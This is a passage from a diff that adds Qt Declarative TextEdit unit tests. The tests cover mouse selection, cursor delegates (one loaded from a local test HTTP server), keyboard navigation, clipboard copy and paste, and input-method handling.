+ QPoint p2 = canvas->mapFromScene(textEditObject->positionToRectangle(to).center());
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, p1);
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p2), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, p2);
+ QCOMPARE(textEditObject->selectedText(), selectedText);
+
+ // Clicking and shift to clicking between the same points should select the same text.
+ textEditObject->setCursorPosition(0);
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, p1);
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, p2);
+ QCOMPARE(textEditObject->selectedText(), selectedText);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::multilineMouseSelection()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/mouseselection_multiline.qml");
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag from x1,y1 to x2,y1
+ int x1 = 10;
+ int x2 = textEditObject->width() - 10;
+ int y1 = textEditObject->height() / 4;
+ int y2 = textEditObject->height() * 3 / 4;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y1)));
+ QMouseEvent mv1(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y1)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv1);
+ QString str1 = textEditObject->selectedText();
+ QVERIFY(str1.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform)
+
+ // drag-and-release from x2,y1 to x2,y2
+ QMouseEvent mv2(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y2)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv2);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y2)));
+ QString str2 = textEditObject->selectedText();
+ QVERIFY(str1 != str2);
+ QVERIFY(str2.length() > 3);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::deferEnableSelectByMouse_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+
+ QTest::newRow("writable") << SRCDIR "/data/mouseselection_false.qml";
+ QTest::newRow("read only") << SRCDIR "/data/mouseselection_false_readonly.qml";
+}
+
+void tst_qdeclarativetextedit::deferEnableSelectByMouse()
+{
+ // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed.
+ QFETCH(QString, qmlfile);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ textEditObject->setSelectByMouse(true);
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QVERIFY(textEditObject->selectedText().isEmpty());
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::deferDisableSelectByMouse_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+
+ QTest::newRow("writable") << SRCDIR "/data/mouseselection_true.qml";
+ QTest::newRow("read only") << SRCDIR "/data/mouseselection_true_readonly.qml";
+}
+
+void tst_qdeclarativetextedit::deferDisableSelectByMouse()
+{
+ // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed.
+ QFETCH(QString, qmlfile);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ textEditObject->setSelectByMouse(false);
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QVERIFY(textEditObject->selectedText().length() > 3);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::dragMouseSelection()
+{
+ QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ textEditObject->setAcceptDrops(true);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str1 = textEditObject->selectedText();
+ QVERIFY(str1.length() > 3);
+
+ // press and drag the current selection.
+ x1 = 40;
+ x2 = 100;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str2 = textEditObject->selectedText();
+ QVERIFY(str2.length() > 3);
+
+ QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<bool>("selectWords");
+
+ // import installed
+ QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+ QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+ QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(bool, selectWords);
+
+ QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str = textEditObject->selectedText();
+ if (selectWords) {
+ QCOMPARE(str, text);
+ } else {
+ QVERIFY(str.length() > 3);
+ QVERIFY(str != text);
+ }
+
+ // Clicking and shift to clicking between the same points should select the same text.
+ textEditObject->setCursorPosition(0);
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, canvas->mapFromScene(QPoint(x1,y)));
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, canvas->mapFromScene(QPoint(x2,y)));
+ QCOMPARE(textEditObject->selectedText(), str);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::inputMethodHints()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+ QVERIFY(textEditObject->inputMethodHints() & Qt::ImhNoPredictiveText);
+ textEditObject->setInputMethodHints(Qt::ImhUppercaseOnly);
+ QVERIFY(textEditObject->inputMethodHints() & Qt::ImhUppercaseOnly);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::positionAt()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(texteditObject != 0);
+
+ QFontMetrics fm(texteditObject->font());
+ const int y0 = fm.height() / 2;
+ const int y1 = fm.height() * 3 / 2;
+
+ int pos = texteditObject->positionAt(texteditObject->width()/2, y0);
+ int diff = abs(int(fm.width(texteditObject->text().left(pos))-texteditObject->width()/2));
+
+ // some tollerance for different fonts.
+#ifdef Q_OS_LINUX
+ QVERIFY(diff < 2);
+#else
+ QVERIFY(diff < 5);
+#endif
+
+ const qreal x0 = texteditObject->positionToRectangle(pos).x();
+ const qreal x1 = texteditObject->positionToRectangle(pos + 1).x();
+
+ QString preeditText = texteditObject->text().mid(0, pos);
+ texteditObject->setText(texteditObject->text().mid(pos));
+ texteditObject->setCursorPosition(0);
+
+ QInputMethodEvent inputEvent(preeditText, QList<QInputMethodEvent::Attribute>());
+ QApplication::sendEvent(canvas, &inputEvent);
+
+ // Check all points within the preedit text return the same position.
+ QCOMPARE(texteditObject->positionAt(0, y0), 0);
+ QCOMPARE(texteditObject->positionAt(x0 / 2, y0), 0);
+ QCOMPARE(texteditObject->positionAt(x0, y0), 0);
+
+ // Verify positioning returns to normal after the preedit text.
+ QCOMPARE(texteditObject->positionAt(x1, y0), 1);
+ QCOMPARE(texteditObject->positionToRectangle(1).x(), x1);
+
+ QVERIFY(texteditObject->positionAt(x0 / 2, y1) > 0);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::cursorDelegate()
+{
+ QDeclarativeView* view = createView(SRCDIR "/data/cursorTest.qml");
+ view->show();
+ view->setFocus();
+ QDeclarativeTextEdit *textEditObject = view->rootObject()->findChild<QDeclarativeTextEdit*>("textEditObject");
+ QVERIFY(textEditObject != 0);
+ QVERIFY(textEditObject->findChild<QDeclarativeItem*>("cursorInstance"));
+ //Test Delegate gets created
+ textEditObject->setFocus(true);
+ QDeclarativeItem* delegateObject = textEditObject->findChild<QDeclarativeItem*>("cursorInstance");
+ QVERIFY(delegateObject);
+ //Test Delegate gets moved
+ for(int i=0; i<= textEditObject->text().length(); i++){
+ textEditObject->setCursorPosition(i);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ }
+ const QString preedit = "preedit";
+ for (int i = 0; i <= preedit.length(); i++) {
+ QInputMethodEvent event(preedit, QList<QInputMethodEvent::Attribute>()
+ << QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, i, 1, QVariant()));
+ QApplication::sendEvent(view, &event);
+
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ }
+ // Clear preedit text;
+ QInputMethodEvent event;
+ QApplication::sendEvent(view, &event);
+
+
+ // Test delegate gets moved on mouse press.
+ textEditObject->setSelectByMouse(true);
+ textEditObject->setCursorPosition(0);
+ const QPoint point1 = view->mapFromScene(textEditObject->positionToRectangle(5).center());
+ QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, point1);
+ QVERIFY(textEditObject->cursorPosition() != 0);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+
+ // Test delegate gets moved on mouse drag
+ textEditObject->setCursorPosition(0);
+ const QPoint point2 = view->mapFromScene(textEditObject->positionToRectangle(10).center());
+ QTest::mousePress(view->viewport(), Qt::LeftButton, 0, point1);
+ QMouseEvent mv(QEvent::MouseMove, point2, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view->viewport(), &mv);
+ QTest::mouseRelease(view->viewport(), Qt::LeftButton, 0, point2);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+
+ textEditObject->setReadOnly(true);
+ textEditObject->setCursorPosition(0);
+ QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, view->mapFromScene(textEditObject->positionToRectangle(5).center()));
+ QVERIFY(textEditObject->cursorPosition() != 0);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+
+ textEditObject->setCursorPosition(0);
+ QTest::mouseClick(view->viewport(), Qt::LeftButton, 0, view->mapFromScene(textEditObject->positionToRectangle(5).center()));
+ QVERIFY(textEditObject->cursorPosition() != 0);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+
+ textEditObject->setCursorPosition(0);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ QVERIFY(textEditObject->cursorRectangle().y() >= 0);
+ QVERIFY(textEditObject->cursorRectangle().y() < textEditObject->cursorRectangle().height());
+ textEditObject->setVAlign(QDeclarativeTextEdit::AlignVCenter);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ QVERIFY(textEditObject->cursorRectangle().y() > (textEditObject->height() / 2) - textEditObject->cursorRectangle().height());
+ QVERIFY(textEditObject->cursorRectangle().y() < (textEditObject->height() / 2) + textEditObject->cursorRectangle().height());
+ textEditObject->setVAlign(QDeclarativeTextEdit::AlignBottom);
+ QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ QVERIFY(textEditObject->cursorRectangle().y() > textEditObject->height() - (textEditObject->cursorRectangle().height() * 2));
+ QVERIFY(textEditObject->cursorRectangle().y() < textEditObject->height());
+
+ //Test Delegate gets deleted
+ textEditObject->setCursorDelegate(0);
+ QVERIFY(!textEditObject->findChild<QDeclarativeItem*>("cursorInstance"));
+
+ delete view;
+}
+
+void tst_qdeclarativetextedit::cursorVisible()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ view.setFocus();
+
+ QDeclarativeTextEdit edit;
+ QSignalSpy spy(&edit, SIGNAL(cursorVisibleChanged(bool)));
+
+ QCOMPARE(edit.isCursorVisible(), false);
+
+ edit.setCursorVisible(true);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 1);
+
+ edit.setCursorVisible(false);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ edit.setFocus(true);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ scene.addItem(&edit);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 3);
+
+ edit.setFocus(false);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 4);
+
+ edit.setFocus(true);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 5);
+
+ scene.clearFocus();
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 6);
+
+ scene.setFocus();
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 7);
+
+ view.clearFocus();
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 8);
+
+ view.setFocus();
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 9);
+
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 10);
+
+ QApplication::setActiveWindow(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 11);
+#endif
+}
+
+void tst_qdeclarativetextedit::delegateLoading_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<QString>("error");
+
+ // import installed
+ QTest::newRow("pass") << "cursorHttpTestPass.qml" << "";
+ QTest::newRow("fail1") << "cursorHttpTestFail1.qml" << "http://localhost:42332/FailItem.qml: Remote host closed the connection ";
+ QTest::newRow("fail2") << "cursorHttpTestFail2.qml" << "http://localhost:42332/ErrItem.qml:4:5: Fungus is not a type ";
+}
+
+void tst_qdeclarativetextedit::delegateLoading()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(QString, error);
+
+ TestHTTPServer server(42332);
+ server.serveDirectory(SRCDIR "/data/httpfail", TestHTTPServer::Disconnect);
+ server.serveDirectory(SRCDIR "/data/httpslow", TestHTTPServer::Delay);
+ server.serveDirectory(SRCDIR "/data/http");
+
+ QDeclarativeView* view = new QDeclarativeView(0);
+
+ view->setSource(QUrl(QLatin1String("http://localhost:42332/") + qmlfile));
+ view->show();
+ view->setFocus();
+
+ if (!error.isEmpty()) {
+ QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
+ QTRY_VERIFY(view->status()==QDeclarativeView::Error);
+ QTRY_VERIFY(!view->rootObject()); // there is fail item inside this test
+ } else {
+ QTRY_VERIFY(view->rootObject());//Wait for loading to finish.
+ QDeclarativeTextEdit *textEditObject = view->rootObject()->findChild<QDeclarativeTextEdit*>("textEditObject");
+ // view->rootObject()->dumpObjectTree();
+ QVERIFY(textEditObject != 0);
+ textEditObject->setFocus(true);
+ QDeclarativeItem *delegate;
+ delegate = view->rootObject()->findChild<QDeclarativeItem*>("delegateOkay");
+ QVERIFY(delegate);
+ delegate = view->rootObject()->findChild<QDeclarativeItem*>("delegateSlow");
+ QVERIFY(delegate);
+
+ delete delegate;
+ }
+
+
+ //A test should be added here with a component which is ready but component.create() returns null
+ //Not sure how to accomplish this with QDeclarativeTextEdits cursor delegate
+ //###This was only needed for code coverage, and could be a case of overzealous defensive programming
+ //delegate = view->rootObject()->findChild<QDeclarativeItem*>("delegateErrorB");
+ //QVERIFY(!delegate);
+
+ delete view;
+}
+
+/*
+TextEdit element should only handle left/right keys until the cursor reaches
+the extent of the text, then they should ignore the keys.
+*/
+void tst_qdeclarativetextedit::navigation()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeItem *input = qobject_cast<QDeclarativeItem *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == false);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == true);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == true);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == false);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == true);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::copyAndPaste() {
+#ifndef QT_NO_CLIPBOARD
+
+#ifdef Q_WS_MAC
+ {
+ PasteboardRef pasteboard;
+ OSStatus status = PasteboardCreate(0, &pasteboard);
+ if (status == noErr)
+ CFRelease(pasteboard);
+ else
+ QSKIP("This machine doesn't support the clipboard", SkipAll);
+ }
+#endif
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }";
+ QDeclarativeComponent textEditComponent(&engine);
+ textEditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEdit = qobject_cast<QDeclarativeTextEdit*>(textEditComponent.create());
+ QVERIFY(textEdit != 0);
+
+ // copy and paste
+ QCOMPARE(textEdit->text().length(), 12);
+ textEdit->select(0, textEdit->text().length());;
+ textEdit->copy();
+ QCOMPARE(textEdit->selectedText(), QString("Hello world!"));
+ QCOMPARE(textEdit->selectedText().length(), 12);
+ textEdit->setCursorPosition(0);
+ QVERIFY(textEdit->canPaste());
+ textEdit->paste();
+ QCOMPARE(textEdit->text(), QString("Hello world!Hello world!"));
+ QCOMPARE(textEdit->text().length(), 24);
+
+ // canPaste
+ QVERIFY(textEdit->canPaste());
+ textEdit->setReadOnly(true);
+ QVERIFY(!textEdit->canPaste());
+ textEdit->setReadOnly(false);
+ QVERIFY(textEdit->canPaste());
+
+ // QTBUG-12339
+ // test that document and internal text attribute are in sync
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit);
+ QDeclarativeTextEditPrivate *editPrivate = static_cast<QDeclarativeTextEditPrivate*>(pri);
+ QCOMPARE(textEdit->text(), editPrivate->text);
+
+ // select word
+ textEdit->setCursorPosition(0);
+ textEdit->selectWord();
+ QCOMPARE(textEdit->selectedText(), QString("Hello"));
+
+ // select all and cut
+ textEdit->selectAll();
+ textEdit->cut();
+ QCOMPARE(textEdit->text().length(), 0);
+ textEdit->paste();
+ QCOMPARE(textEdit->text(), QString("Hello world!Hello world!"));
+ QCOMPARE(textEdit->text().length(), 24);
+#endif
+}
+
+void tst_qdeclarativetextedit::canPaste() {
+#ifndef QT_NO_CLIPBOARD
+
+ QApplication::clipboard()->setText("Some text");
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }";
+ QDeclarativeComponent textEditComponent(&engine);
+ textEditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEdit = qobject_cast<QDeclarativeTextEdit*>(textEditComponent.create());
+ QVERIFY(textEdit != 0);
+
+ // check initial value - QTBUG-17765
+ QTextControl tc;
+ QCOMPARE(textEdit->canPaste(), tc.canPaste());
+
+#endif
+}
+
+void tst_qdeclarativetextedit::canPasteEmpty() {
+#ifndef QT_NO_CLIPBOARD
+
+ QApplication::clipboard()->clear();
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }";
+ QDeclarativeComponent textEditComponent(&engine);
+ textEditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEdit = qobject_cast<QDeclarativeTextEdit*>(textEditComponent.create());
+ QVERIFY(textEdit != 0);
+
+ // check initial value - QTBUG-17765
+ QTextControl tc;
+ QCOMPARE(textEdit->canPaste(), tc.canPaste());
+
+#endif
+}
+
+void tst_qdeclarativetextedit::readOnly()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextEdit *edit = qobject_cast<QDeclarativeTextEdit *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(edit != 0);
+ QTRY_VERIFY(edit->hasActiveFocus() == true);
+ QVERIFY(edit->isReadOnly() == true);
+ QString initial = edit->text();
+ for(int k=Qt::Key_0; k<=Qt::Key_Z; k++)
+ simulateKey(canvas, k);
+ simulateKey(canvas, Qt::Key_Return);
+ simulateKey(canvas, Qt::Key_Space);
+ simulateKey(canvas, Qt::Key_Escape);
+ QCOMPARE(edit->text(), initial);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::simulateKey(QDeclarativeView *view, int key, Qt::KeyboardModifiers modifiers)
+{
+ QKeyEvent press(QKeyEvent::KeyPress, key, modifiers);
+ QKeyEvent release(QKeyEvent::KeyRelease, key, modifiers);
+
+ QApplication::sendEvent(view, &press);
+ QApplication::sendEvent(view, &release);
+}
+
+QDeclarativeView *tst_qdeclarativetextedit::createView(const QString &filename)
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+
+ canvas->setSource(QUrl::fromLocalFile(filename));
+ return canvas;
+}
+
+class MyInputContext : public QInputContext
+{
+public:
+ MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
+ ~MyInputContext() {}
+
+ QString identifierName() { return QString(); }
+ QString language() { return QString(); }
+
+ void reset() {}
+
+ bool isComposing() const { return false; }
+
+ bool filterEvent( const QEvent *event )
+ {
+ if (event->type() == QEvent::RequestSoftwareInputPanel)
+ openInputPanelReceived = true;
+ if (event->type() == QEvent::CloseSoftwareInputPanel)
+ closeInputPanelReceived = true;
+ return QInputContext::filterEvent(event);
+ }
+
+ void update() { updateReceived = true; }
+
+ void sendPreeditText(const QString &text, int cursor)
+ {
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes.append(QInputMethodEvent::Attribute(
+ QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+ QInputMethodEvent event(text, attributes);
+ sendEvent(event);
+ }
+
+ void mouseHandler(int x, QMouseEvent *event)
+ {
+ cursor = x;
+ eventType = event->type();
+ eventPosition = event->pos();
+ eventGlobalPosition = event->globalPos();
+ eventButton = event->button();
+ eventButtons = event->buttons();
+ eventModifiers = event->modifiers();
+ }
+
+ bool openInputPanelReceived;
+ bool closeInputPanelReceived;
+ bool updateReceived;
+ int cursor;
+ QEvent::Type eventType;
+ QPoint eventPosition;
+ QPoint eventGlobalPosition;
+ Qt::MouseButton eventButton;
+ Qt::MouseButtons eventButtons;
+ Qt::KeyboardModifiers eventModifiers;
+};
+
+void tst_qdeclarativetextedit::textInput()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ QDeclarativeTextEdit edit;
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit);
+ QDeclarativeTextEditPrivate *editPrivate = static_cast<QDeclarativeTextEditPrivate*>(pri);
+ edit.setPos(0, 0);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ edit.setFocus(true);
+ QVERIFY(edit.hasActiveFocus() == true);
+
+ // test that input method event is committed
+ QInputMethodEvent event;
+ event.setCommitString( "Hello world!", 0, 0);
